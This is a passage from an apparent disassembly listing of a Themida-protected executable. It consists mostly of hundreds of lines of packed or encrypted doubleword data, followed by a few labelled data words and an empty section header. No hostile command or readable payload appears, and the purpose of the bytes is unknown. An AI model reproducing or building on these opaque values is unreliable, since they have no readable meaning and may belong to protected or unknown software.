		dd 0E5131816h, 4CB0959Bh, 6DB9B4B3h, 804E54D2h,	860F5AD4h
		dd 0Dh,	8E9h, 0EBC7E400h, 724BED4Eh, 0BBF08ABFh, 7E44F452h
		dd 0BB666060h, 8B0F8214h, 0
		dd 5850F61h, 0BF000000h, 37FF2959h, 0D5BB6661h,	0D197BF45h
		dd 10E94B1Fh, 0E9000000h, 3C2D0B45h, 9A71578Eh,	0CC82443Eh
		dd 0E9BB58FDh, 0Fh, 8D4A41C9h, 5597A3EAh, 91644FA0h, 0E9A3713Eh
		dd 0Eh,	40D397A1h, 60CC37C7h, 0F732D8B5h, 11E9FF87h, 8F000000h
		dd 9601C489h, 5EB8BDC7h, 719E64C6h, 8D9EA03h, 201DB866h
		dd 2870F52h, 60000000h,	0B70F5E61h, 66D98AD3h, 231D781h
		dd 3AC88166h, 0BFDF81DFh, 660977BDh, 662FE6B9h,	2206CB81h
		dd 0EA8194B3h, 4B11DD46h, 6060F88Bh, 0CCCE8166h, 0F6BF0F70h
		dd 0D9816661h, 0F615078h, 0BB6F0BFh, 8E8F98Bh, 86000000h
		dd 87A6D7AFh, 50F220A4h, 9E9h, 0D114FE00h, 0D63AB217h
		dd 5B5AD092h, 0D8C0FF5h, 0E9000000h, 8,	5429C2AAh, 5BC791Dh
		dd 0C78B3FB7h, 0FD98B66h, 0F08BDFBFh, 91C3BA60h, 14BF76E4h
		dd 61017F26h, 0A4B7BAB1h, 60F5F9F9h, 800F60h, 80000000h
		dd 8B610FE1h, 816661C2h, 0FF973EEh, 810FF3BFh, 6, 870Fh
		dd 9E80000h, 0A7000000h, 6440BA36h, 63065D60h, 0CE9h, 30102800h
		dd 4B492784h, 400CDABEh, 7E85986h, 95000000h, 0CDB5EF45h
		dd 10E9ED34h, 0C9000000h, 5E581A90h, 9CF28166h,	526BD180h
		dd 5F6EE34Ch, 3F06CE81h, 0CC8A639Bh, 3FBAABB3h,	605656E7h
		dd 80D3CA80h, 0E96194CEh, 6, 0B1A017DFh, 0E0810AF6h, 531CF7B6h
		dd 880Fh, 12E90000h, 45000000h,	58FA36E7h, 804C49BEh, 4A45EE21h
		dd 10E83DA9h, 15810F70h, 60000000h, 0BE86160h, 0E0000000h
		dd 27E4738Eh, 7B549E9h,	615A4F5Fh, 0F8F0Fh, 0AE90000h
		dd 6B000000h, 727575B6h, 0FDA033B9h, 0E28166C4h, 0D38AAB8Ch
		dd 0D9CFBF66h, 0BE8h, 32EB3B00h, 4F99D278h, 529DACC7h
		dd 0CE9h, 7D87E500h, 2C7A55Fh, 8AA1622Fh, 7E85B04h, 42000000h
		dd 0EE2C0333h, 12E986EAh, 0F8000000h, 97572F9h,	0C671EB10h
		dd 539A84C5h, 62011884h, 8B0F5E73h, 0Ch, 6860Fh, 870F0000h
		dd 0
		dd 50D08B66h, 0D0E18166h, 8B665F1Dh, 0B70F53FEh, 850F59F6h
		dd 1Ch,	5E8h, 29DE8700h, 0BE8B838h, 3C000000h, 2D222859h
		dd 82CF10ADh, 585A82B5h, 6E9h, 0A3311600h, 0F948D24h, 58Ch
		dd 48F7B800h, 800F1F37h, 2, 5660D38Bh, 5F51D880h, 585A5657h
		dd 5E861h, 0CDE0000h, 0F5E9104h, 148Ch,	0FE900h, 0ECBB0000h
		dd 0A5FF4B98h, 0CC630027h, 7EE667CCh, 8B665E50h, 0AE8F9h
		dd 36140000h, 26EA8E39h, 11FEAB0Eh, 0E2E0BA66h,	0FE8605Ah
		dd 39000000h, 8A9379BAh, 0AF5801AEh, 0C28FDF29h, 81661BDCh
		dd 5A475BE8h, 66EEB161h, 0F9B27BB8h, 50515952h,	8B605B59h
		dd 0F805B8F2h, 0F613479h, 681h,	4AF08100h, 0F36792Ah, 282h
		dd 0B0EF8A00h, 0FB8B66E5h, 60ABD781h, 0DA8B67EAh, 14E850h
		dd 0B9050000h, 49135C2Ch, 307AF74Fh, 0EF8E244Eh, 4F86E3E4h
		dd 59BB1E6Ah, 58764A07h, 0BE959h, 0E26D0000h, 75820F36h
		dd 0EFDD6899h, 0EE9BDh,	35350000h, 0E326C949h, 9AA01AC8h
		dd 690231C7h, 0FE9h, 823E3000h,	7A7B8F0Eh, 0A107E7FCh
		dd 5D4B0675h, 12E9h, 0CE945B00h, 0CFE8E277h, 0B20379CAh
		dd 96AC0A2Eh, 0F953D84h, 1781h,	0AE96000h, 0AD000000h
		dd 0A44EB018h, 96F586F9h, 8B0F93h, 61000000h, 12E8h, 7409B100h
		dd 9C075CE0h, 5FB0A87h,	58555F6Dh, 8B2A3DA3h, 66525AC1h
		dd 594133BBh, 0DE953h, 4EB10000h, 0DFBE761Bh, 5808DB4Ah
		dd 5A8909DCh, 66CBB70Fh, 0FC691B8h, 11E9C9BFh, 0CE000000h
		dd 0F6F30A0Fh, 0CDC62914h, 0A347BAC7h, 0C6128D62h, 6E8483B8h
		dd 8BCF8A1Ch, 66F08BF0h, 870FC18Bh, 0
		dd 8A2CE780h, 17840FD9h, 60000000h, 0EE9h, 819AE200h, 99B523DEh
		dd 0AED46228h, 0B14A47EBh, 5851618Bh, 0B70F21B0h, 23EB80F6h
		dd 13E8h, 1E8C8600h, 0FF17549Bh, 92804791h, 72B00C2Ah
		dd 0E6A774A6h, 0FE960h,	0C50000h, 2A90B951h, 0C9B2F402h
		dd 0D73758B9h, 0D6BE663Eh, 8B5A61E3h, 6E9C7h, 70C30000h
		dd 0B1022938h, 8950BE66h, 0DA816660h, 0FE8F360h, 0C9000000h
		dd 0A3554051h, 8EF9DC28h, 0BB7CCFAAh, 5953A1FEh, 8B666158h
		dd 0CB8166CAh, 0BA6061F1h, 55AC957Bh, 6661D68Bh, 0FC200BAh
		dd 158Fh, 0DE800h, 1420000h, 68AE5364h,	9A99D798h, 5278E356h
		dd 8F0F5B5Bh, 0
		dd 830FF5B0h, 1, 0D18166F5h, 0C7816C7Bh, 428E3B3Fh, 6860Fh
		dd 0EF810000h, 5C558DCCh, 665FF851h, 6636D081h,	77BA6660h
		dd 11870FABh, 0E9000000h, 0Ch, 0FB143895h, 3E792F3Fh, 68BE9A9h
		dd 0C870F61h, 0E9000000h, 7, 50F47834h,	53E715F7h, 0C5D68166h
		dd 10E85A02h, 56000000h, 1CEF3682h, 7FF0DEBCh, 7F00B3E3h
		dd 80BD0773h, 515A99D3h, 0A78FEF81h, 805F3F80h,	816654C1h
		dd 0FB61AF3h, 0EE80C8B7h, 0E9816691h, 880F1316h, 8, 810F50h
		dd 5A000000h, 0B466CE81h, 0FFBA5BC4h, 0E956FBBBh, 6, 8A8E19A5h
		dd 0BE669B5Bh, 0BE93299h, 75000000h, 38396885h,	7135EDA8h
		dd 0F88B6568h, 4800Fh, 0B8660000h, 81BA67BEh, 602384C1h
		dd 0E9D2B70Fh, 6, 0F745EDF8h, 5661AC70h, 0D0B70F58h, 8B30C480h
		dd 0F9BF0FD6h, 5E860h, 65F20000h, 0FF4F693h, 86h, 0DF815A00h
		dd 4F4C7C5Eh, 0DE8B6661h, 9E9h,	3FB7A900h, 0E3230C8Bh
		dd 0E281E177h, 41087C8Fh, 0D881CA8Bh, 7D36B161h, 0EA81EFBFh
		dd 3810F3Ch, 80000000h,	8B6680CBh, 3800FD6h, 66000000h
		dd 0BF0FFA8Bh, 0B5BF66FFh, 6E915h, 841D0000h, 56C239B2h
		dd 6E9h, 0C6A41D00h, 0FCB47D2h,	890FD7B7h, 4, 9C88BF66h
		dd 4850Fh, 8B570000h, 0E8605AFAh, 0Dh, 0D772FDDh, 0AD8936A4h
		dd 6A0C2474h, 8F0F5Dh, 58000000h, 7E9h,	0AF433D00h, 25B356AAh
		dd 5E861h, 6B120000h, 52671BA5h, 0BE9h,	3AE77900h, 4755BC29h
		dd 0DDE7E204h, 0B9BF595Fh, 8B1BC4DBh, 725ABBC3h, 8B6671F0h
		dd 0F6BB50D6h, 5A7A1100h, 880FD88Bh, 6,	9272C381h, 29BB6CA0h
		dd 66341AEDh, 195ED781h, 6E957h, 0D9020000h, 78BA7E70h
		dd 0B7B3F958h, 0CE9h, 0C4B23100h, 0C01F5AB0h, 0A2CCB965h
		dd 14C38178h, 5379A98Ah, 2880Fh, 5A510000h, 0F0E88158h
		dd 561C43BAh, 5E8h, 0E6F37A00h,	0CE9D3B2h, 8000000h, 0AD56BCD4h
		dd 79B583CBh, 5AE20B64h, 6E858h, 326B0000h, 0E7D04F8h
		dd 8CD68166h, 0E980584Ch, 60CE8B8Ch, 0E1D353BBh, 8161F909h
		dd 105778F3h, 914DBF4Bh, 8B66499Bh, 66CF8AD9h, 8166C68Bh
		dd 60821FC1h, 8E9h, 4A7E8000h, 969443B4h, 0DB8060DCh, 0BE8F1h
		dd 2C720000h, 0C9956ECFh, 0DD5469BAh, 616159A3h, 3D98166h
		dd 0CE8B6682h, 48A0Fh, 0BA660000h, 8C0F73ABh, 6, 3AF1D081h
		dd 8B660EFFh, 60F960FEh, 0FBF381FCh, 61366779h,	0F4D78161h
		dd 8A2F2132h, 0D9BF0FE1h, 18C0Fh, 0E9F80000h, 0Bh, 0BBD581D3h
		dd 751C3671h, 0BB9AF013h, 1201525h, 0E8CBB70Fh,	0Dh, 51DD6253h
		dd 6A56538Ch, 0A97A760Fh, 0D8B70F0Dh, 61F5605Ah, 504E02BFh
		dd 0F0805331h, 0BF0F5A54h, 1B8F0FC9h, 53000000h, 14E9h
		dd 6ECD7700h, 5DF2C82Bh, 0F0661F10h, 0CEF181D7h, 793B4C0Ah
		dd 60565EB2h, 8E9h, 76401C00h, 22838245h, 6E986h, 661E0000h
		dd 91AE9AC1h, 81665E61h, 0BF1065F0h, 3B8A70B6h,	0FE9h
		dd 0DEDAA000h, 0CCFFDC86h, 333A91A8h, 7C64CCFBh, 233DBA60h
		dd 0E680143Ah, 10E961BFh, 91000000h, 1C1A4C3Bh,	78534EF9h
		dd 2357A08Dh, 66198F7Ch, 0B60BD381h, 0FE9F9h, 0AAEA0000h
		dd 36D5CA83h, 8A513318h, 0C936E454h, 0F56F505h,	6058FFBFh
		dd 0BE9h, 0B21E700h, 0DA4C7B69h, 5237EDE2h, 15D886BBh
		dd 0AE96151h, 0FE000000h, 0FDC5E9FBh, 97CD9657h, 0F08B66CFh
		dd 11E960h, 0C6540000h,	0EFE14682h, 0AD1C0E51h,	4FA22D29h
		dd 81731DD6h, 82BB1DF7h, 8B666110h, 8841B9D6h, 0AE8311Eh
		dd 3F000000h, 0C6FDDA09h, 2FE84259h, 0FEE0BA08h, 0BB59614Dh
		dd 65E5A74h, 0CFB96653h, 0DE805FAEh, 0B86656FEh, 815907B2h
		dd 835013C7h, 10E821h, 5C10000h, 658328Bh, 207F37F0h, 0C3528007h
		dd 0D18A784Bh, 870F6058h, 0Ch, 7E9h, 0C0EC100h,	2C355654h
		dd 6106C380h, 0AE8h, 0CB52D800h, 419B31FEh, 5806BB24h
		dd 5850Fh, 0D7B80000h, 8B002A7Ch, 0F3FB0F7h, 0BB66C0BFh
		dd 2BB2B838h, 38E0F60h,	0F000000h, 840FF3BFh, 1, 8B6661FCh
		dd 0F98B66F0h, 8B66D68Bh, 14E9DAh, 46C80000h, 0CDC1438Fh
		dd 0E5416A08h, 263B8311h, 411B4F3Dh, 0D78BEAA4h, 36F7B966h
		dd 8B58DC80h, 6016B5FEh, 0BA47E380h, 204C73B3h,	50606061h
		dd 870F59h, 61000000h, 0C6816661h, 0DE98A74h, 0B1000000h
		dd 2A8B1D5Eh, 0F147F80Bh, 0BA1877D4h, 8AF2BF0Fh, 0FE8B4F8h
		dd 0BF0FCFBFh, 0D0B70FC1h, 40EC8050h, 8A0F6059h, 1, 0FE8F8h
		dd 0F09B0000h, 0EF4595F2h, 0ED34CDB5h, 0AE4AB809h, 0F615BC1h
		dd 51F5F0BFh, 0BF0F5AF8h, 12E9CEh, 4BE0000h, 1759F5EBh
		dd 0B756B66Ah, 0A9D7A8E2h, 81B57BE0h, 0C9BF0F50h, 0DE81665Fh
		dd 66FC0457h, 817A09B9h, 8B071F7h, 7E922h, 2C7D0000h, 8614D560h
		dd 0F6060BAh, 84h, 0F61F800h, 1483h, 0EE800h, 9A410000h
		dd 0CBAA622Eh, 0DE8CC636h, 0B718EAC0h, 13E9615Ah, 38000000h
		dd 0F1C1FFC7h, 7EBBFC0Eh, 768BF9D3h, 8C7435AEh,	0F573C64h
		dd 535FCFBFh, 0DCEDB866h, 14E95Bh, 0F1970000h, 0FFBE1684h
		dd 56D24F7Eh, 95B7CFEBh, 47F138E8h, 81667F20h, 8A594DF7h
		dd 0DE8F7h, 2CF30000h, 2F4C5E7Eh, 864C070Ch, 0FECFAA2h
		dd 108Ah, 0BE900h, 16D60000h, 96C2F928h, 0C50F8F42h, 880F5983h
		dd 8, 8A0F56h, 5F000000h, 0A870Fh, 8A600000h, 8C0FF8h
		dd 61000000h, 8E8h, 0F52D3A00h,	486D64EBh, 5EB5B6A5h, 0CFB70F60h
		dd 61C38B66h, 0E860FCFCh, 8, 0D8E835CAh, 80008EEFh, 61585B50h
		dd 10E937B1h, 1A000000h, 9BED5E81h, 0D6FF261Dh,	1F6F264Dh
		dd 0E827028Fh, 6, 42C56CA8h, 8B66C11Ch,	0FC535FC7h, 0C2BF0F5Ah
		dd 12E9h, 137FE000h, 6B85F622h,	8197AFC6h, 4E41E5B1h, 0E89B916Bh
		dd 0Bh,	0AB17D02Bh, 3384FCD1h, 0FD3DF9Dh, 665FCFBFh, 0E781F38Bh
		dd 50A50373h, 3870FFCh,	0F000000h, 0CE80C8BFh, 0E8815358h
		dd 72D3E5F5h, 85F08059h, 9CC8BA66h, 0E9D1C380h,	0Fh, 6755DCE4h
		dd 43A5E3D9h, 4F6DF597h, 0FBE944Bh, 38Eh, 0F98B6600h, 567BB966h
		dd 0FDF8B60h, 287h, 61F78B00h, 8B1BD280h, 0EDF681D8h, 664CEF6Eh
		dd 2071C281h, 5E8h, 9E2DED00h, 0FB8BD5D8h, 0DE80515Fh
		dd 0FA8B5B2Dh, 8BF8B70Fh, 0FBB70FFAh, 0E960FC8Ah, 0Eh
		dd 136E255Eh, 0F4C767E3h, 0A1ADE4A1h, 81616623h, 7BAEE6EAh
		dd 34C48072h, 0E6B34AB8h, 3AF28050h, 800Fh, 0E0810000h
		dd 2B41DFF8h, 0C890Fh, 880F0000h, 6, 0DB50D881h, 8E92682h
		dd 18000000h, 5F6FE686h, 0BA6EF0E7h, 3A05D810h,	6E9h, 9B68D700h
		dd 6614C60Eh, 0BEC33ABEh, 23CF58F5h, 7DEB8166h,	5E870h
		dd 961F0000h, 66FBD4C5h, 5317DB81h, 8C0F5Eh, 0E9000000h
		dd 5, 8988D96Ah, 0FF38B1Fh, 8D0FD7B7h, 0Ch, 6E8h, 0DC147B00h
		dd 59853425h, 0CA8B6656h, 0FDE8A5Fh, 8C0FD2BFh,	7, 97E08060h
		dd 5161DFB3h, 0D0BF0F5Bh, 52ABB866h, 0AE9h, 0BE308A00h
		dd 0FA1219D1h, 0FD667FCh, 6653CFB7h
		dd 665FC18Bh, 0FE8ADB81h, 0DE9h, 0EFCCD400h, 0B4C04852h
		dd 60E70F41h, 0F5386C6h, 68Bh, 870F00h,	5A000000h, 9E9h
		dd 1478D400h, 81FB16BBh, 0BBFC4A2Dh, 6F940791h,	0BE9h
		dd 5EA3A300h, 0B286DC5Fh, 38C9F333h, 0BF0F77B6h, 0FE950C7h
		dd 79000000h, 8AAD2FF3h, 0D9CD5B8h, 4CA05CEBh, 8159C3C9h
		dd 0B5A62DBh, 4BA2BE2Ch, 870F23B2h, 7, 0F6816650h, 5359B5F4h
		dd 0F5A9CB6h, 584h, 0DEB7BE00h,	0B2F50B0Bh, 0B6F08B58h
		dd 0F55FB236h, 0BB66D3B0h, 8E83D93h, 0B2000000h, 0C38205CEh
		dd 5684663Bh, 5E5E5E57h, 18F0Fh, 8BF90000h, 0E8C0FDFh
		dd 0E9000000h, 9, 29224C83h, 0FE20C074h, 88ABAB8h, 0BF662CF8h
		dd 0EE97E80h, 84000000h, 0E44508DEh, 4CD568C1h,	0DDD55BECh
		dd 0DE8B663Ah, 0FE6CBA66h, 13E9h, 0CC3C0B00h, 0FDE4F1F7h
		dd 88A2BC60h, 115E5DA8h, 84A68266h, 0FC3DE80h, 48Fh, 47BE6600h
		dd 7E810h, 34F90000h, 359B4579h, 5F70B1DFh, 830F5F52h
		dd 18h,	13E9h, 55574200h, 0ADD477E0h, 0CE076ED1h, 2CF32840h
		dd 2F4C5E7Eh, 992AF681h, 0BA667CECh, 0CA819179h, 3C64C8D3h
		dd 1F69BF66h, 0AE8h, 188A0D00h,	46FC4B57h, 0B8A562CBh
		dd 42142C09h, 5AC0BF5Bh, 0BE6637DCh, 0D0811AF1h, 6EE14CFEh
		dd 0BEE2E780h, 51968823h, 66FB8B66h, 977ACE81h,	6800Fh
		dd 0D1810000h, 3248B517h, 0FE8h, 52360F00h, 0D67CFC69h
		dd 4FC0E93Ch, 0DD746484h, 38B041B8h, 0C88B587Bh, 0FDBBF0Fh
		dd 1B83h, 13E800h, 0D2D50000h, 0B98D3374h, 0E04B4B64h
		dd 918831CDh, 0D6AA2F1Ah, 59616082h, 0B3C28B66h, 58C0F88h
		dd 66000000h, 0FF10D781h, 0C18B51F8h, 0AE958h, 0A6F60000h
		dd 75608CB0h, 18BA9E7Fh, 8890FFCh, 52000000h, 3A8DE681h
		dd 665F3C7Dh, 1C8FCE81h, 85D8EA81h, 12E8590Ah, 71000000h
		dd 1431E1B0h, 0DC49AE02h, 1AD84DC8h, 0B7058590h, 8E0F594Bh
		dd 2, 14E9C78Bh, 0F7000000h, 940E593Ah,	60C7E3B3h, 3DA751E6h
		dd 0E92E4306h, 60807252h, 2840Fh, 0CF8B0000h, 11E9h, 9BE62A00h
		dd 126ADB9Ch, 0DB581D2Dh, 5E3C5D26h, 66615322h,	0E2A0C281h
		dd 0E8DABF0Fh, 9, 341E4F7Ah, 8DFCC24h, 7E9600Ch, 39000000h
		dd 6B970992h, 0B70FF428h, 665961C0h, 0D642F781h, 12810Fh
		dd 0DE90000h, 0A0000000h, 1DE3D1C8h, 3515DD7Eh,	6C3DC529h
		dd 840FD78Bh, 0
		dd 0E8D08B66h, 12h, 2E79BF97h, 2062FC87h, 0D8DF1CC0h, 9218DF5Ch
		dd 0BE60D492h, 7BF3564Fh, 850Fh, 5E610000h, 13E9F9h, 43800000h
		dd 0BEC35740h, 92FD8E82h, 0EF888F85h, 0FC568DFEh, 0DABF0F23h
		dd 4A432CB8h, 0E6816666h, 0EB817EFCh, 4B989558h, 7E8EE8Ah
		dd 6B000000h, 6238A3E5h, 0E68AE0C4h, 0CEB70F59h, 10E9h
		dd 1FEC9000h, 95D0D9A2h, 82F18DDBh, 896B8677h, 0CE948h
		dd 0DA180000h, 6A72ACA6h, 3AD7E3C3h, 6060FA39h,	0B70F2FB7h
		dd 0BA6661CFh, 0F61F292h, 987h,	0E8806000h, 45B8667Ch
		dd 0DE8B61CAh, 0BE9h, 5E648600h, 0AAC6ACDAh, 655D3937h
		dd 8C88D281h, 0D98B4462h, 0D68B6651h, 0D68B665Eh, 0F61F960h
		dd 0E84h, 6E800h, 80DC0000h, 0BF329011h, 0F586160h, 0E860DFB7h
		dd 0Eh,	5B6489EFh, 3EB516EDh, 0D68D7E4Dh, 0B70F2FC3h, 0BA6658D2h
		dd 8B61F2FCh, 8D681F0h,	0F833C9F4h, 0AE952h, 71E30000h
		dd 88687EAEh, 0BB9BA3CEh, 0FDD3805Fh, 0E5DC8060h, 0F729BA66h
		dd 8B96661h, 0D78B6647h, 0BE956h, 0C9570000h, 315E7D54h
		dd 0B47C7AFBh, 0F6805EADh, 1B43BA3Ah, 0E9F5484Eh, 8, 9C6A85BFh
		dd 2466DB98h, 0AD9CD381h, 71B0423Eh, 8B6640B3h,	0F0B70FC6h
		dd 0FBC18166h, 0D1B70FCFh, 8166CBB0h, 66DB1EEEh, 0F1BEDBBh
		dd 288h, 8ADFB000h, 0FBBF0FCBh,	2820Fh,	0A9B50000h, 0F5604FB6h
		dd 61FBD480h, 61AEE181h, 0C9801304h, 5870F84h, 66000000h
		dd 0E4C5E881h, 7E9h, 9F881F00h,	806A31BFh, 0FD0C480h, 1388h
		dd 0EE900h, 0BB970000h,	27C2F04Bh, 0D932F227h, 0C20E5FC0h
		dd 81C18B66h, 538C8BF6h, 0AE93Bh, 55B00000h, 42CFD013h
		dd 0BF6A264Eh, 1860F53h, 0FC000000h, 83D0815Bh,	0F7F0479h
		dd 5951C2BFh, 9E9h, 79E1E800h, 85388CE8h, 14E8AC3Dh, 4A000000h
		dd 4BF4414Bh, 760AE3Bh,	7301EB40h, 0E897C061h, 0F76CA2Ah
		dd 388h, 0FBF18000h, 0E952565Bh, 6, 0EB168CDh, 5E5F50BCh
		dd 7800Fh, 0BF600000h, 4F98EFD9h, 8E861h, 901C0000h, 0C6A86B17h
		dd 0C680239Eh, 0E9535FE1h, 14h,	2AD753BBh, 1553219Fh, 5A83BA4Bh
		dd 6137C2E0h, 41D1365Ch, 0BF0F605Eh, 0EE9CBh, 0CF6E0000h
		dd 0EC24D470h, 207E3653h, 0E6FEA60Ch, 64E68161h, 6059638Eh
		dd 880FD4B3h, 2, 0E8616160h, 0Ch, 7873C204h, 0A0E8EDADh
		dd 6D4F9F98h, 0F5FF88Bh, 6060C8BFh, 9E8F9h, 0CEFA0000h
		dd 0CC3E52FDh, 5BBC1859h, 0AE861h, 508A0000h, 0B9AA088Dh
		dd 78C1D43Bh, 615A5E51h, 58A0Fh, 8B600000h, 0E961FCF1h
		dd 0Ah,	3591FD87h, 0CE8F1B8Dh, 0E960B0F8h, 0Eh,	0C11374F2h
		dd 932C2BDh, 32FC3777h,	0CB816873h, 2594AFFDh, 0D8816661h
		dd 0D881EA78h, 68CCE7C9h, 0E88044B4h, 15850FAEh, 0E9000000h
		dd 10h,	0C0D46CA9h, 3D65FCC0h, 995766CCh, 483CA71Ah, 78EA8166h
		dd 0FB8B66C3h, 2810F51h, 50000000h, 0BE66585Eh,	850FE39Ch
		dd 1, 11E9F8h, 0CD510000h, 0E80A0298h, 7CD2AD27h, 0CA7E00ACh
		dd 0E8473B42h, 8, 1488DE04h, 0E1F5838Bh, 0BDDDEE81h, 0E95B2A80h
		dd 14h,	98C6702h, 659CEDD9h, 7ACC519Dh,	0AF49A07h, 0FAD7A3AAh
		dd 0F9BF0FFCh, 0FC6BF0Fh, 389h,	0CA8B6600h, 8A0FF08Bh
		dd 1, 10850FF9h, 0E9000000h, 0Bh, 0BF1714C4h, 9F015FF9h
		dd 0E8C4C6BEh, 5, 0E9172E49h, 59B2B159h, 108h dup(46F8C95Ch)
		dd 252DE15Ch, 0E5h dup(252DE0C5h), 0BC2DE0C5h, 101h dup(0BC60FB1Bh)
		db 1Bh,	0FBh
word_580046	dw 0BC60h		; DATA XREF: ___:off_427A80o
					; ___:00427A88o ...
		dd 320h	dup(0BC60FB1Bh), 20E6FB1Bh, 65h	dup(20E62C28h)
		dd 4C952C28h, 0BBh dup(4C956F71h), 2B6DB771h, 19Eh dup(2B6DB73Bh)
		dd 4CC56F3Bh, 18Bh dup(4CC56F55h), 5056F55h, 2C8h dup(5056436h)
		dd 0CCCCCC36h, 6D8h dup(0CCCCCCCCh), 2B2h dup(0)
		db 2 dup(0)
word_584F4E	dw 0			; DATA XREF: ___:0042BEA8o
		align 100h
Themida_	ends

; Section 5. (virtual address 00185000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00185000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 585000h
		align 2000h
_idata2		ends


		end start